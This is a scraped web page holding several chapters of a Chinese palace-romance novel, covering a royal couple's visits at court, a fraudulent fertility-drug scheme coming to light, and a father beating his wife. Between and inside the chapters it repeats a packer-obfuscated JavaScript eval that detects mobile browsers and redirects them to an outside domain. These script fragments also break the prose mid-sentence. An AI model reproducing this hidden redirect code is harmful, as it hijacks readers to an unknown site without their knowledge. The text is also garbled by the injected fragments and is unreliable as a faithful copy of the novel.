;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631647|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他岂会错过机会? 陆知苒见他坚持,只能由着他去了。 她面上一派端庄神色,但脚步轻盈,眼底眉梢也都藏着股自己都没察觉到的明媚。 二人先去拜见了德丰帝。 “儿臣/臣媳拜见父皇。” 德丰帝看着眼前两人,目光在萧晏辞的身上转了一圈,眼底多了一抹笑意。 “成了亲果然不一样,瞧着都稳重了许多。” 萧晏辞一脸正色,“儿臣现在是有家有口之人,自然不能再似从前那般随性。” 德丰帝听得大笑三声,“看来,早该让你成亲了。” 萧晏辞心道,那可不是,就该在四年前,陆知苒与楚翊安定亲前就把人截胡了,二人也省得走了这许多弯路。 德丰帝的目光转到陆知苒的身上,“朕听说,昨日锦绣坊的众女工都去给你添妆了?她们送上的添妆礼,都是自己亲手做的?” 陆知苒点头应是,德丰帝眸底的欣赏之意溢于言表。 “回想去年的此时,便是你成立收容所,收容了一众受灾百姓,而后又向朕**,成立了锦绣坊。” “今日锦绣坊已初见雏形,运转良好,今年的商税较之以往也翻了一倍。不仅那些百姓感激你,朕也要好好赏你。” 陆知苒连忙诚惶诚恐,“臣媳愧不敢当……” 一旁的萧晏辞却是直接打断了她,毫不客气地道:“父皇,您要怎么赏?本王的王妃可不缺银子。” 德丰帝一时倒真的没想好赏些什么才好。 他语气温和地开口,“你可有什么未了的心愿?只要你开口,朕定应允。” 这番恩典,俨然是莫大的体面。 但陆知苒却不敢托大,当真提一些过分的要求。 方才,她脑中闪过了皇商之事。 若她开口,皇上多半会答应。 但很快她就掐灭了这个念头,此事由她来开口讨要,不妥。 洛家的皇商,应当是凭借洛家的真本事获得资格,她只能起到托举的作用,而不能由她来讨要。 不然,皇上此时不说什么,难保心里不会对洛家生出轻视与不喜。 陆知苒脑中思绪转了一圈,很快就有了计较。 第356章 追封一品夫人 她再次跪下,恭敬叩首。 “臣媳蒙父皇恩典,已享诸多殊荣。唯有一事耿耿于怀——生母早逝,未及见臣媳今日之光。伏乞父皇垂怜,赐先母追封诰命,使泉下之人得沐皇恩,臣媳虽肝脑涂地,难报万一。” 说完,她久久叩地不起,整个人似都笼上了一层哀伤。 德丰帝见此,心头亦不禁生怜,赶忙示意萧晏辞把她扶起来。 “你现在是郡主,又是瑾王妃,你的生母,合该受封诰命。传朕旨意,追封瑾王妃生母洛氏为一品夫人。” 陆知苒闻言,眸底迸出一抹难掩的欣喜,她再次跪下谢恩。 德丰帝又问她还有什么想要的,陆知苒自是推辞,不再得寸进尺地提其他要求。 从御书房告退,他们便往坤宁宫而去。 孙皇后虽闭门礼佛,但他们身为小辈,该有的礼数必须要到位,不能被人抓了把柄。 路上,萧晏辞问她膝盖是否跪疼了。 陆知苒脸上满是灿烂的笑,“只跪一跪,就替母亲求到了一品夫人的诰命,值了。” 从今以后,陆家无人再敢说她母亲是商贾出身。 在陆家的祠堂里,母亲的牌位都得排在最前面,无人能与之争辉。 见到她眸底的笑,萧晏辞的面上神色也不禁柔和许多。 此时的坤宁宫,冷冷清清,宫人们按部就班地当差,半点人声都没有。 虽然无人敢怠慢,内外也都打理得如往常一般,但却莫名有了一种萧瑟寥落之感。 二人禀明来意,吴嬷嬷先是恭贺了一番,然**内回禀。 最后的结果便如他们所料。 “王爷,王妃见谅,皇后一心礼佛,无心见客。此乃皇后让奴婢转交给二人的贺礼,聊表心意,请王爷王妃收下。” 陆知苒立马恭敬接过,又朝里间行了谢礼,这才离开。 那是一个红漆木匣子,十分精致,不知里面装了什么,抱着有些沉手。 陆知苒猜测多半是观音像。 萧晏辞很自然地接过,又转交给身后的宫人。 萧晏辞怕她心有芥蒂,便宽慰道:“自从孙家出事之后,母后便一直避世不出,谁都不见,并非针对你我。” 陆知苒摇头,“我知晓,并未介怀。” 二人刚出了坤宁宫,就见到一个装扮雍容华贵的妇人迎面而来,对方俨然是往坤宁宫而去。 萧晏辞低声提醒,“她乃睿亲王妃,本王的皇婶。” 陆知苒先前便听说睿亲王携王妃回京,昨日他们夫妇二人也去瑾王府喝了喜酒,只是陆知苒并未亲眼见到。 二人是小辈,自是主动见礼,睿亲王妃亦笑着回礼,又说了些恭贺新婚的话。 睿亲王妃问,“方才可见到皇后了?” 陆知苒摇头,“母后一心礼佛,并未见我们。” 又问,“皇婶也是来探望母后的吗?” 睿亲王妃面露担忧,“王爷听说皇嫂身子病弱,十分挂怀,便让我入宫探望,再给皇嫂送些滋补身子的东西。我隔三差五就来,但奈何皇嫂一次也没见我。” 陆知苒心想,那你这次只怕又要白跑一趟了。 彼此又客套两句,便告辞了。 待走远了,萧晏辞才主动解释睿亲王与孙皇后之间的渊源。 陆知苒听罢,面露了然。 都说长嫂如母,而今看来,果然不假。 睿亲王也是个知恩图报的,时过境迁,却依旧记着孙皇后对他的照拂之情。 说话间,他们便到了夕颜殿。 柔妃早就伸长脖子等着了。 叶寒衣也在。 一见到他们,柔妃脸上就笑开了。 高嬷嬷已将元帕拿给她,她瞧过之后,心中更加欢喜。 如果说先前对陆知苒有十分满意,现在俨然是十二分了。 这桩喜事,甚至冲淡了她对谷栖山之事的担忧。 二人给柔妃敬茶,陆知苒唤了声母妃,柔妃应得分外脆亮。 “一直想生个如你这般如花似玉的闺女,现在也算是如愿了。” 儿媳也是闺女。 叶寒衣打趣,“姑母,您虽然没有如花似玉的亲闺女,但是您可以有个如花似玉的亲孙女啊。” 说完便揶揄地看向二人。 柔妃的眼神立马热烈起来。 萧晏辞脸皮厚,自然无甚不自在。 陆知苒被他们这么多双眼睛看着,脸都热了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631648|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧晏辞悠悠道:“母妃,我们才成婚第一日,上哪儿给您变出如花似玉的孙女?您做梦也要有个度。” 柔妃嗔了他一眼。 这怎么就是做梦了?万一一次就怀上了呢? 但这话她到底没说,怕给陆知苒压力。 这个话题也顺势岔开了。 柔妃也说起了锦绣坊送添妆之事,看着陆知苒的眼神充满了骄傲。 陆知苒一再被夸,都有些不好意思了。 “这其实是殿下安排的,若非如此,儿媳也享不到这般殊荣。” 柔妃却不认同,“这份功劳是你的,她们感激你,才会愿意这么做,这可不是靠谁安排就能做到的。” 萧晏辞也深以为然。 柔妃又十分遗憾,“可惜我没法出宫,没能亲眼见到你们成婚的情形。” 这话让他们一时都不知如何安慰。 宫妃虽享受了寻常人所没有的雍容与富贵,但同样的,也失去了自由。 柔妃很快收起了心中那点子遗憾,转而展开笑颜,又说起其他。 夫妻二人在夕颜殿内一起用了膳,过了晌午才回了王府。 马车摇摇晃晃,发出吱呀吱呀的声响,陆知苒的困意被勾起,脑袋一点一点地睡着了。 萧晏辞见她快要撞到车壁上,急忙伸出大手,将她揽住,靠在了自己的肩头上。 看着她的睡颜,萧晏辞眸底亦不禁添了几分柔软。 到了王府门口,陆知苒依旧睡得很熟,萧晏辞低声命人把门槛拆了,直接把马车赶到他们所住的正院,然后小心将人抱起,快步进了卧房。 因着距离短,萧晏辞走得又稳又快,陆知苒没来得及醒,便已被放进了柔软的床上。 酣甜一场好梦。 此时的陆府上下依旧张灯结彩,昨日的欢喜热闹仍历历在目。 昨夜日,俨然是陆贯轩最风光的一天,以往巴结不上的人,都对他主动讨好,将他捧得飘飘然。 一不小心,他就喝多了,今日便告假在家,多休息几日再去上值。 他正宿醉未起,偏有不识趣的小厮前来打扰,他正待发作,就听那小厮满脸喜色地道:“老爷,大喜,宫里来圣旨了!” 第357章 招摇撞骗的骗子 陆贯轩的宿醉瞬间清醒大半,慌忙从床上起来,一边更衣一边询问是何圣旨。 “这小的哪儿知道,但那宣旨公公满脸带笑,定是一桩喜事。” 这话让陆贯轩精神更加抖擞。 飞快拾掇好,赶往前厅,方氏也同时赶到了。 她是陆家主母,圣旨到了自然要出面接旨。 方氏心中猜测,这道圣旨无论如何都不可能是给她的,她的心情算不得多愉悦。 果然,待宣旨太监宣读完圣旨,方氏脸上的假笑几乎维持不住,牙关咬得咯咯作响。 洛氏那**,便是**也要压自己一头,简直可恨! 反观陆贯轩,除了惊讶之外,便是一股难以抑制的惊喜。 洛氏得封一品夫人,于他而言也是面上增光的大喜事。 欢欢喜喜地接旨,又给宣旨太监塞了沉甸甸的荷包,把人客客气气地送走了。 陆贯轩拿着那明黄圣旨,捋着胡须笑道:“苒姐儿当真是有大本事。” 连洛氏这么一个**都能沾光,自己这个父亲,日后定然也有数不清的机会能往上爬。 凭他的身份,哪个不识趣的敢从中作梗? 压根不管方氏的脸色如何,陆贯轩拿着圣旨就走了,还一边吩咐下人给洛氏重新打一个牌位,摆在最前头。 陆贯轩在书房反复观摩圣旨。 他想,日后自己受赏升迁,也定能收到这样的圣旨。 正做着美梦,大理寺突然有人登门,请他去一趟。 衙役看他的表情怪怪的,似是发生了什么不好的事。 陆贯轩一再向那衙役打探发生了何事,对方却支支吾吾不肯说,只道:“陆大人到了自然就知晓了。” 一路莫名又忐忑地到了大理寺,少卿傅子诚迎了出来。 “陆大人,冒昧打扰,实在抱歉,实乃有一桩案子牵扯到你,这才不得不把你请来。” 陆贯轩心里更是一个咯噔,急忙辩解。 “傅大人,这其中是不是有什么误解?本官兢兢业业本本分分,从未做过任何违反律法之事……” 他才刚当上瑾王岳丈,还没风光几日呢,难道就有人看不惯他,给他设了圈套? 傅子诚急忙道:“陆大人误会了,此案并非如此,据那犯人招供,陆大人你是一大苦主之一,下官寻你来,实为替陆大人主持公道也。” 陆贯轩再次愣住。 苦主?他什么时候成了苦主了? 待傅子诚把那犯罪押上来,陆贯轩见了那人,方明白是怎么一回事。 那人,赫然是自己先前购买“生子药方”的老郎中! 一见到此人,陆贯轩就想到自己不能人道的痛处,脸色登时变得十分难看。 傅子诚的声音传来,“此人乃招摇撞骗的骗子,打着售卖生子药的名义,骗人钱财。先前本官收到报案,有一乡绅轻信他的鬼话,高价买了一瓶生子丹,服用后于房事上变得十分勇猛,但那人不小心服用过量,竟是引发了马上风。” “本官照着画像,将此人抓拿归案,一番刑讯发现远不止那乡绅一个受害者,他供述,陆大人亦曾在他那里买过此药,不知这是真是假?” 陆贯轩的脸色瞬间涨得通红。 他瞪着这老郎中,目光恨不得**。 但最终,他又只能硬生生地把这口气咽了下去。 他不能让人知道自己身上的隐疾,不然他就没脸见人了。 他脸色僵硬地否认,“这,没有的事!他定是认错了。” 傅子诚笑看着他,将他脸上的神情变化尽收眼底。 “哦?当真认错了吗?陆大人再好好看看。” 陆贯轩有些恼怒,语气不善,“本官说认错了就是认错了,本官从未买过那样的药!” 说完,便要甩袖而去。 那老郎中的声音从背后传来,“陆大人,你不记得小的了吗?你当初明明在我这里买了药的。” 陆贯轩更加恼恨,脚步也更快了。 老郎中更加着急,“那些药不是小的要卖给你的,是有人让小的卖给你,那人是想让陆大人你**啊,你难道不想知道对方是谁吗?” 陆贯轩难以置信地回头,怒视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15637038|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着那老郎中。 “你说什么?” 老郎中急急道:“是有人指使我,让我想法子给您卖药,只要办成了此事,就给我二百两。两位大人,我真的是无辜的,你们要抓也该去抓那指使之人啊。” 陆贯轩一改方才的态度,快步上前,怒声逼问。 “是谁?谁让你这么做的?” “我,我不认识那人,但我记得对方的长相,我可以画下来。” 对方每次来时,都戴着帽子,把脸遮得严严实实。 这老郎中人唯恐惹事上身,又不想错失这等发财的机会,就一边答应下来,一边找机会尾随,终于是瞧见了对方的容貌,记了下来。 傅子诚立马让人准备笔墨。 那老郎中有些本事,很快就画出一副人像来。 傅子诚询问陆贯轩,“陆大人,你可认得此人?” 陆贯轩的面皮狠狠抖了抖,但他却是从齿缝里挤出一句话。 “不认识!傅大人,这老东西满口胡言,我没有在他这里买过什么药,你莫要信了他的一派胡言。” 说完,他拿着那张画像,脚步匆匆地走了。 这一次,任凭那老郎中怎么喊,他也没有回头。 最后,那老郎中只能一脸哀求地看向傅子诚,“傅大人,小的说的都是实话,小的真的是一时糊涂,受人指使……” 傅子诚脸上多了一丝冷意。 “卖给陆大人是受人指使,但后头的那几个人呢?也是受人指使?我看你是不见棺材不掉泪!” 这老郎中给陆贯轩卖了药,得了好处,尝到了甜头,他便如法炮制,以能生儿子为噱头,大肆兜售此药,这才闹出人命。 他一点都不冤。 那老郎中依旧连连求饶,傅子诚却没了与他周旋的心思,直接让手下严审,照章办事。 陆贯轩拿着那副画像,怒气冲冲地出了大理寺,又直奔方家而去。 那画像上的人他见过。 那分明是方成才的人! 该死的方成才,竟然让人给他下药,害他不能人道,他简直该死! 第358章 痛打方氏 无缘无故,方成才为何要害自己?自然是为了方氏。 若他再生不出儿子,陆君成就是自己唯一的儿子,方氏的地位自然稳如磐石。 只怕,此事方氏便是主谋! 那该死的女人,自己当初就该直接把她打**! 方家人见他怒气冲冲而来,却不敢阻拦。 不等他们通传,他已经直接闯了进去。 方成才迎了出来,“妹夫,你怎么来……” 话还没说完,方成才迎面就挨了他一记拳头,顿时被打得眼冒金星。 方成才捂着被打出血的鼻子,大怒,“你,你这是作甚?” 陆贯轩将手中的画像往他面前一甩。 “此人,是不是你身边的老余?” 方成才不明就里,“是又如何?他何时惹了你了?” 陆贯轩怒火滔天,“你是不是让他收买了一个老郎中,给我卖那所谓的求子药?” 方成才没想到竟是此事败露了,眼神不禁微微闪了闪。 “那药非但不能求子,反而还会致人损了精元,不能人道,甚至可能马上风而死!你如此蓄意构陷,当真好歹毒的心!” 方成才立马否认,“一派胡言,妹夫,你定是误会了,我从未让人做过这样的事。” “那老郎中已经关进了大理寺,他已经把什么都招了,你还要狡辩?你敢不敢到大理寺去当面对质?” 方成才的心头一个咯噔。 那老东西不是已经打发走了吗?怎会被抓住了? 老余明明是隐藏了身份去办的此事,怎就被那老郎中识破了? 方成才在心中暗骂他办事不力,嘴上他却是半个字都不肯承认。 “我问心无愧,便是当面对质又有何妨?” 说着他抬步就往外走,当真一副无所畏惧的模样。 陆贯轩反倒被架了起来,怒喝,“站住!” 方成才反问,“妹夫不是要当面对质吗?怎么,又不敢了?莫非你方才所言全都是信口胡诌,故意往我头上扣屎盆子?” 他竟倒打一耙。 陆贯轩被气了个倒仰。 “你休要颠倒黑白!” 方成才再次提出去大理寺对质,陆贯轩却再次哑火了。 他不能去,也不敢去! 此事当真闹开,他的脸面就彻底丢光了。 他丢不起这个人! 方成才也正是拿捏了这一点,才这般有恃无恐,一口咬定自己的无辜。 “妹夫口口声声称我做了此事,偏又不敢当面对质,这桩罪名,我可不认!” 陆贯轩有口难言,简直憋屈极了。 “此事究竟是不是你做的,你自己心里有数!从此以后,我陆家与你方家再无半分瓜葛,你也不要再登我陆家的门!” 方成才的面色一沉。 这种关头,他自是不想与陆家闹翻。 若瑾王出手对付方家,那方家压根没有半点反抗之力。 他连忙拦住陆贯轩,一改方才态度,忙不迭道:“妹夫,咱们都是一家人,有话好好说,这件事真的只是一桩误会,咱们把误会解释清楚便是,何必闹得如此难看?” 陆贯轩一把甩开了他,“谁与你是一家人?你算计我之时,可曾想过与我是一家人?” 今时不同往日,他陆贯轩无需再巴结讨好方成才,他可是瑾王岳丈! 今日,他投鼠忌器,不能把事情闹到明面上去,但他实在咽不下这口气。 方志远也听闻了此事,急忙出来一道解释,推脱责任,陆贯轩一概不听,拂袖而去。 方志远唯恐他把火气撒在方氏的身上,在他身后高声大喊。 “君儿明年就要参加科举了,你凡事还需三思后行,切莫一时冲动,影响了孩子的前程!” 陆贯轩胸中的那口气愈加憋闷。 他方才的确生了把方氏打死的念头,但方氏一死,君儿就得守孝三年,又要白白耽搁年岁。 因着方家的所作所为,陆贯轩对陆君成这个儿子也生了迁怒。 但偏偏,他又是自己唯一的儿子,陆家的香火继承只能靠他,这让陆贯轩心中愈加憋屈。 若知苒是男儿身便好了! 陆贯轩裹挟着满腔怒意回到陆府,直奔知春苑而去。 见了方氏,他不由分说,抬脚便踹,方氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15637039|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被踹翻在地,心窝子一阵生疼,险些吐出一口老血来。 “老爷,妾身究竟做错了什么?” “你做错了什么,自己心里没数?**,敢勾结娘家害我,简直该死!当初我怎就迷了心窍,娶了你这样的搅家精进门?” 方氏面色大变。 陆贯轩尤不解气,抬脚继续踹。 魏嬷嬷上前阻拦,也被陆贯轩一脚踹翻。 “你个老货,敢在我面前造次,你是个什么东西?” 陆贯轩的怒气上头,一把揪起方氏,又是一顿打骂,直打得方氏哭爹喊娘,惨叫连连。 不能把人打死,但若不将她狠狠教训一顿,实在难消心头之恨! 方氏挣扎,摔倒在地,陆贯轩随手拿起桌上一套茶具,朝她的身上狠狠摔去。 方氏抱住了脑袋。 但预想中的疼痛并没有发生,一人挡在了她的身前,将她护住了。 “哐当!” 那套茶具摔在了陆君成的右臂上,发出沉闷的一声响,在地上摔得稀碎。 他今日是来向母亲辞行的。 陆知苒的婚礼已过,他得回书院继续进学,为即将到来的院试做准备。 没成想,刚到院外就听到了这番争吵,紧接着,就见到这一幕。 他顾不上许多,直接便冲上来,护住了方氏。 陆贯轩微愣,旋即脸上再次布满阴云。 “你来做什么?” 陆君成起身,依旧将方氏护在身后。 他的身形依旧单薄,但却挺得十分笔直,以往面对父亲总是怯懦闪躲,这次他却直直迎上对方的眼神。 “父亲,不知母亲犯了何事,您要如此打骂?” 陆贯轩语气冷冰冰的,“你不必多管!” “她是我母亲,我不能坐视不管。” 陆贯轩厌恶方氏,再看陆君成也没了好脸色。 “你们倒是母慈子孝!” 方氏深知,定是那桩事败露了。 她深吸一口气,压下身上的疼痛,颤声开口。 “不论妾身做错了任何事,还请老爷看在君儿的份儿上,饶过妾身吧,以后妾身再也不敢了。” 第359章 若落榜了呢? 陆贯轩胸中依旧怒火难消,但看着陆君成,只能硬生生地咽下这口气。 “你给我马上去书院,好好念书,若这次不能顺利考上,我定不轻饶!” 说完狠狠一甩袖,走了。 方氏看着他离开的背影,暗暗咬牙。 待君儿考取功名,娶了娇儿,她定要想法子把这老东西除掉! 他**,自己就是这陆家的天,再无人能对自己吆五喝六。 陆君成转身,小心地将方氏扶了起来。 见她钗发凌乱,脸上也一片红肿,不禁心疼,赶忙命人去请大夫。 “母亲,究竟发生了何事?” 方氏闻言眼神一厉,“不该问的别问,你只管好好读书便是。” 说话间牵扯到脸上伤处,又疼得她龇牙咧嘴,心中也更加恼恨。 她用力抓住陆君成的胳膊,陆君成的眉头微微蹙起,发出一声轻嘶,但方氏根本没有留意。 “君儿,你记住,你是娘唯一的希望,你定要金榜题名,给娘争这口气。你好了,娘才能好!” 陆君成在她的眼底看到了一抹熟悉的癫狂,顿时感觉心口似被什么压住了,闷闷的。 他轻声开口,“母亲,若儿子落榜了呢?” 方氏的表情顿时变得凶恶,“你怎能落榜?你自幼开蒙,读了这么多年的书,怎能落榜?你定要考取功名,才能对得起我对你的期望!” 她抓着自己的手很用力,陆君成似感觉不到疼痛,只抿了抿唇,低声应了一声。 “是,儿子明白了。” 方氏听到了自己想要的答案,这才露出满意的神色。 “儿子这便回书院,刻苦读书,母亲好生保重自己。” 他恭敬行礼告退,转身离开,背影分外萧瑟。 方才他替母亲挡下了那茶盏,右臂被砸得发麻,只怕已然青紫了。 但无人在意。 父亲没有意识到自己受伤,母亲也不曾关心过他半句。 他们眼里,只有科举。 好似自己人生的意义只有科举,再无其他。 消息很快传到陆知苒那里,她虽已出嫁,但在陆府有眼线。 丹烟语气有些幸灾乐祸。 “小姐还没动手,那老郎中就先被官府的人抓了,这可真是老天爷都在帮咱们。” “老爷发了大火,把夫人狠狠打了一顿,这回夫人怕是要在床上躺上几个月了。” 对于陆贯轩与方氏的反目,陆知苒并不意外。 只是,这件事真是老天爷帮忙吗?陆知苒不这么想。 傅子诚是萧晏辞的人,这桩案子恰好就落到了他的手里,这是巧合吗? 晚上,萧晏辞回来,二人一同用膳,陆知苒便问起了此事。 陆知苒问得委婉,萧晏辞却回答得干脆。 “没错,此事是本王所为。” 他特意等到他们大婚之后再捅出此事,已经算是顾及老丈人的脸面了。 萧晏辞笑道:“此事本王办得怎样?漂不漂亮?” 陆知苒掀起眼皮睨他,“殿下算计我父亲,莫不是还要在我面前讨个夸奖?” “本王代劳了,你就不用自己动手,免得沾个不孝之名,不该夸吗?” 他看着她,一副洞悉一切的了然,陆知苒便也不装了,只问,“这些事,殿下如何知晓的?” “本王担心你那继母使坏,耽误我们成亲,便派人盯着她,自然就知晓了。” 原本萧晏辞还准备把此事知会陆知苒一声,看看是否要阻止,没想到发现她也从中插了一手。 方成川派的那老余,之所以被那老郎中瞧见了面容,便是陆知苒的人所为。 明白了陆知苒的态度,萧晏辞自然知道该怎么做了。 后头的事,由他出面更加名正言顺,也沾染不到陆知苒的身上,她只需从旁看戏便是。 “这会儿陆家定已经闹得不可开交了,明日回门怕是也没人有心情招待,正好可以去你外祖父和外祖母跟前小坐一番。” 他连这个都考虑到了。 陆知苒眸底闪过一抹惊喜,旋即便绽出一抹笑来。 “外祖父和外祖母定也很想见见殿下。” 萧晏辞厚着脸皮自卖自夸,“本王这般好的外孙女婿,打着灯笼也难找,自是稀罕的。” 陆知苒眉眼间的笑意愈浓,看着他的眼神也澄澈透亮。 “嗯,殿下的确是极好的。” 二人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643240|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光对视,一时含情脉脉,屋中一众丫鬟都恨不得自己原地消失才好。 最后还是陆知苒先败下阵来,转开了视线,只是耳根依旧滚烫发热。 晚上,二人同床共枕。 萧晏辞很老实,只是环抱着睡觉,其他的什么都没做。 这让陆知苒松了口气。 女子初次承欢,身子难免有所不适。 这几日白日她都在梳理账目,熟悉府中管事,并不得闲,晚上只想好好休息。 起初,被他抱着,陆知苒有些不习惯。 但他的怀抱太温暖,有了他,陆知苒再用不上汤婆子,反倒睡得比以往更加舒坦踏实。 怀中的人很快发出了均匀绵长的呼吸,萧晏辞垂眸看着,心中似被填满了。 同时,又只能不停念着清心咒,好让自己赶走杂念。 翌日,夫妻二人收拾妥当,一起往陆府而去。 方氏挨了打,这会儿躺在床上,压根没法待客。 她脸上的巴掌印清晰可见,不想出来丢这个人。 而陆贯轩的心情也十分糟糕,但瑾王女婿来了,他自然不敢托大,只能撑起笑脸出面招待。 陆知苒只当不知发生了何事,问起了方氏。 陆贯轩语气干巴巴的,“她感染了风寒,怕传给你们,这才没有出来,苒姐儿你千万别多想。” 陆知苒假意关切两句,此事便带过了,无人再问起。 夫妻二人小坐片刻,萧晏辞便以有公务为名提出告辞,陆知苒也顺势辞别。 最后,连午膳也没留下来吃。 陆贯轩心中虽有不快,但也不敢表露。 从陆府离开,夫妻二人便直接往洛家现居的那处宅子而去。 与方才的兴致缺缺相比,陆知苒的眼底明显多了期待与雀跃,整个人都活泛了起来。 萧晏辞看着她的神色变化,心中暗想,必须把洛家留在京城,如此,她也能时常走动。 洛老太爷和洛老夫人早就等着了,本以为至少得半下午才来,没成想竟来得这般快,二老的眼底立马迸出欣喜。 马氏立马吩咐下人,把席面张罗起来。 原本就预备着的,这会儿倒也不用手忙脚乱。 第360章 该来的还是来了 萧晏辞和陆知苒进了门,洛家众人便立马要行礼。 他们既是小辈,更是当朝王爷与王妃,合该行礼的。 萧晏辞立马将人扶了起来,开口便唤,“外祖父,外祖母,舅母,你们是长辈,无需如此多礼。” 他主动放下身段,语气更满是真诚,这番态度让洛家众人又惊又喜,也越发觉得陆知苒这次嫁对了人。 一行人进了屋中,坐下之后便是一番叙话。 因萧晏辞的存在,大家起初还有些拘谨,但他态度随和,言语幽默,完全把二老当成自家的长辈,半点亲王的架子都没有,气氛慢慢活络起来。 陆知苒目光落在萧晏辞的身上,眼中染上了一抹温暖。 他给足了自己体面。 当初,她的选择没有错。 二人在洛家吃了一顿饭,又闲话许久,直到二老露出些许疲态,陆知苒才恋恋不舍地提出告辞。 萧晏辞握住她的手,“今后见面的机会很多,不必伤怀。” 皇商之事,他既夸了海口,就必然会做到,不会让她失望。 目送二人离开,洛家众人这才转身回去。 洛老太爷那浑浊的双眼里迸射出精明,他这大半辈子阅人无数,一眼就可看出,瑾王非池中之物,日后,他必然还有更大的造化。 真正让洛老太爷高兴的不是这个,而是他对待苒姐儿的态度。 他的确是可托付的良人。 一家子私下里感慨了一番,俱是为陆知苒感到高兴。 洛老夫人道:“亲眼看着苒姐儿出嫁,又看到她过得这般好,我也算是放心了。老头子,咱们也该回去了,免得赶不上大年。” 洛老太爷也点头。 他们在京城,终究是客居,这里再繁华热闹,也没有苏州过得舒坦。 洛观澜没想到他们这么快就要走,急忙劝说。 皇商之事尚未落定,他也不便直说,只道:“父亲很快也要入京,孙儿便提议让他索性把芸娘和俊哥儿一并带来,今年咱们一家子就在京城过年,如此,也能与表妹多见几回。” 芸娘和俊哥儿,便是洛观澜的妻儿。 洛老太爷和洛老夫人闻言,不禁面露诧异。 他们隐约察觉到了些不同寻常,但二老都没有再追问,也没有再提回去之事。 陆知苒得知此事,心情更加愉悦几分。 待她把王府事务料理好之后,再把二老接到王府小住。 而外头,有关陆贯轩的那桩事已经传得沸沸扬扬。 世上没有不透风的墙。 哪怕陆贯轩息事宁人,放过了报仇的机会,那桩事依旧传了出去。 待陆贯轩休沐结束,开始上值时,一众同僚看他的眼神都添了几分同情。 陆贯轩心里不觉咯噔一下。 很快就有好事者上前,主动为他引荐大夫,说是擅治不举之症。 陆贯轩大惊,脸红脖子粗地高声否认,“我不需要!” 那人目光往他下三路扫了一圈,又抬手拍了拍他肩头,一副推心置腹的语气。 “陆大人,你我同僚多年,不必对我遮遮掩掩。你的事,大家都知道了,你可不要讳疾忌医啊……” 对方还在说什么,陆贯轩压根没心思听,他满脑子都是那句“大家都知道了”,他这时才明白过来,为何大家看他的眼神如此古怪,在**的时候,不知这些人会如何编排他呢! 陆贯轩一口气没上来,直接两眼一翻,晕了过去。 …… 十二月十七,镇西将军谷栖山抵达京城。 他甲胄未卸,第一时间入宫面见德丰帝。 “臣谷栖山叩见陛下。” 德丰帝起身,亲自将他扶了起来。 谷栖山身形高大挺拔,即便谦卑地躬着身,依旧似一座山,比帝王略高半个头。 “卿镇守西平,夙夜匪懈,朕每览边报,见卿亲冒矢石、躬擐甲胄,使羌笛不敢南窥,百姓得安枕席,此真乃我大齐之肱股,社稷之干城也。” 谷栖山连忙将身子弯得更低了。 “食君之禄,忠君之事,此乃微臣之本分也,实不敢当陛下如此夸赞。” 德丰帝抬手在他的肩上重重拍了两下,“谷爱卿当得起。” 又道:“朕听闻,卿此前深受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 